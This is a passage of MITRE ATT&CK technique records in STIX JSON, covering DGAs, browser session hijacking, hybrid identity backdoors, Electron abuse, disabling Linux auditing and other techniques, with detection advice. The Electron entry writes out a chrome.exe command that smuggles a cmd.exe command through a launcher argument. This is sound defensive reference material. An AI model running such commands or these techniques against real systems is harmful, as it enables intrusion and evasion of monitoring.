monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Justin Warner, ICEBRG"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1185", "external_id": "T1185"}, {"url": "https://en.wikipedia.org/wiki/Man-in-the-browser", "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.", "source_name": "Wikipedia Man in the Browser"}, {"url": "https://www.cobaltstrike.com/help-browser-pivoting", "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.", "source_name": "Cobalt Strike Browser Pivot"}, {"url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses", "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", "source_name": "ICEBRG Chrome Extensions"}, {"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}], "modified": "2022-02-25T18:58:15.229Z", "name": "Browser Session Hijacking", "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.", "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Modification", "Process: Process Access", "Logon Session: Logon Session Creation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-01T15:35:38.299Z", "name": "Remote Services", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Dan Borges, @1njection"], "x_mitre_deprecated": false, "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "IaaS"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Module: Module Load", "Network Traffic: Network Connection Creation", "Command: Command Execution", "Network Share: Network Share Access", "WMI: WMI Creation", "Logon Session: Logon Session Creation", "Network Traffic: Network Traffic Flow", "Process: Process Creation"], "x_mitre_system_requirements": ["Active remote service accepting connections and valid credentials"], "type": "attack-pattern", "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "created": "2017-05-31T21:30:29.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021", "external_id": "T1021"}, {"source_name": "Apple Remote Desktop Admin Guide 3.3", "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.", "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"}, {"source_name": "Remote Management MDM macOS", "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.", "url": "https://support.apple.com/en-us/HT209161"}, {"source_name": "Kickstart Apple Remote Desktop commands", "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.", "url": "https://support.apple.com/en-us/HT201710"}, {"source_name": "Lockboxx ARD 2019", "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.", "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"}, {"source_name": "FireEye 2019 Apple Remote Desktop", "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"}, {"source_name": "TechNet Remote Desktop Services", "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"}, {"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}, {"source_name": "SSH Secure Shell", "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.", "url": "https://www.ssh.com/ssh"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:28:59.928Z", "name": "Mail Protocols", "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "created": "2020-03-15T16:21:45.131Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1071/003", "external_id": "T1071.003"}, {"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T16:09:38.202Z", "name": "Hybrid Identity", "description": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.  \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "", "x_mitre_platforms": ["Windows", "Azure AD", "SaaS", "Google Workspace", "Office 365", "IaaS"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Praetorian"], "x_mitre_data_sources": ["File: File Modification", "Module: Module Load", "Application Log: Application Log Content", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", "created": "2022-09-28T13:29:53.354Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556/007", "external_id": "T1556.007"}, {"source_name": "Azure AD Connect for Read Teamers", "description": "Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.", "url": "https://blog.xpnsec.com/azuread-connect-for-redteam/"}, {"source_name": "AADInternals Azure AD On-Prem to Cloud", "description": "Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.", "url": "https://o365blog.com/post/on-prem_admin/"}, {"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.", "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}, {"source_name": "Azure AD Hybrid Identity", "description": "Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.", "url": "https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn"}, {"source_name": "Mandiant Azure AD Backdoors", "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.", "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-13T20:46:31.907Z", "name": "Vulnerability Scanning", "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "created": "2020-10-02T16:55:16.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1595/002", "external_id": "T1595.002"}, {"source_name": "OWASP Vuln Scanning", "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.", "url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T18:04:54.607Z", "name": "Cloud API", "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Ozan Olali", "Nichols Jasper", "Jason Sevilla", "Marcus Weeks", "Caio Silva"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS", "Azure AD", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf", "created": "2022-03-17T13:28:24.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/009", "external_id": "T1059.009"}, {"source_name": "Microsoft - Azure PowerShell", "description": "Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.", "url": "https://github.com/Azure/azure-powershell"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-18T22:45:19.607Z", "name": "Search Open Technical Databases", "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "type": "attack-pattern", "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", "created": "2020-10-02T16:56:05.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1596", "external_id": "T1596"}, {"source_name": "Circl Passive DNS", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", "url": "https://www.circl.lu/services/passive-dns/"}, {"source_name": "DNS Dumpster", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", "url": "https://dnsdumpster.com/"}, {"source_name": "Medium SSL Cert", "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.", "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"}, {"source_name": "WHOIS", "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", "url": "https://www.whois.net/"}, {"source_name": "Shodan", "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.", "url": "https://shodan.io"}, {"source_name": "SSLShopper Lookup", "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.", "url": "https://www.sslshopper.com/ssl-checker.html"}, {"source_name": "DigitalShadows CDN", "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.", "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T23:00:33.493Z", "name": "Electron Applications", "description": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).(Citation: Electron 6-8)\n\nAdversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Debabrata Sharma"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3", "created": "2024-03-07T19:32:35.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/015", "external_id": "T1218.015"}, {"source_name": "Electron 3", "description": "Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.", "url": "https://www.kaspersky.com/blog/electron-framework-security-issues/49035/"}, {"source_name": "Electron Security", "description": "ElectronJS.org. (n.d.). Retrieved March 7, 2024.", "url": "https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules"}, {"source_name": "Electron 6-8", "description": "Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.", "url": "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"}, {"source_name": "Electron 1", "description": "TOM ABAI. (2023, August 10). There\u2019s a New Stealer Variant in Town, and It\u2019s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.", "url": "https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/"}, {"source_name": "Electron 2", "description": "Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.", "url": "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-03T03:44:46.935Z", "name": "Disable or Modify Linux Audit System", "description": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Tim (Wadhwa-)Brown"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, 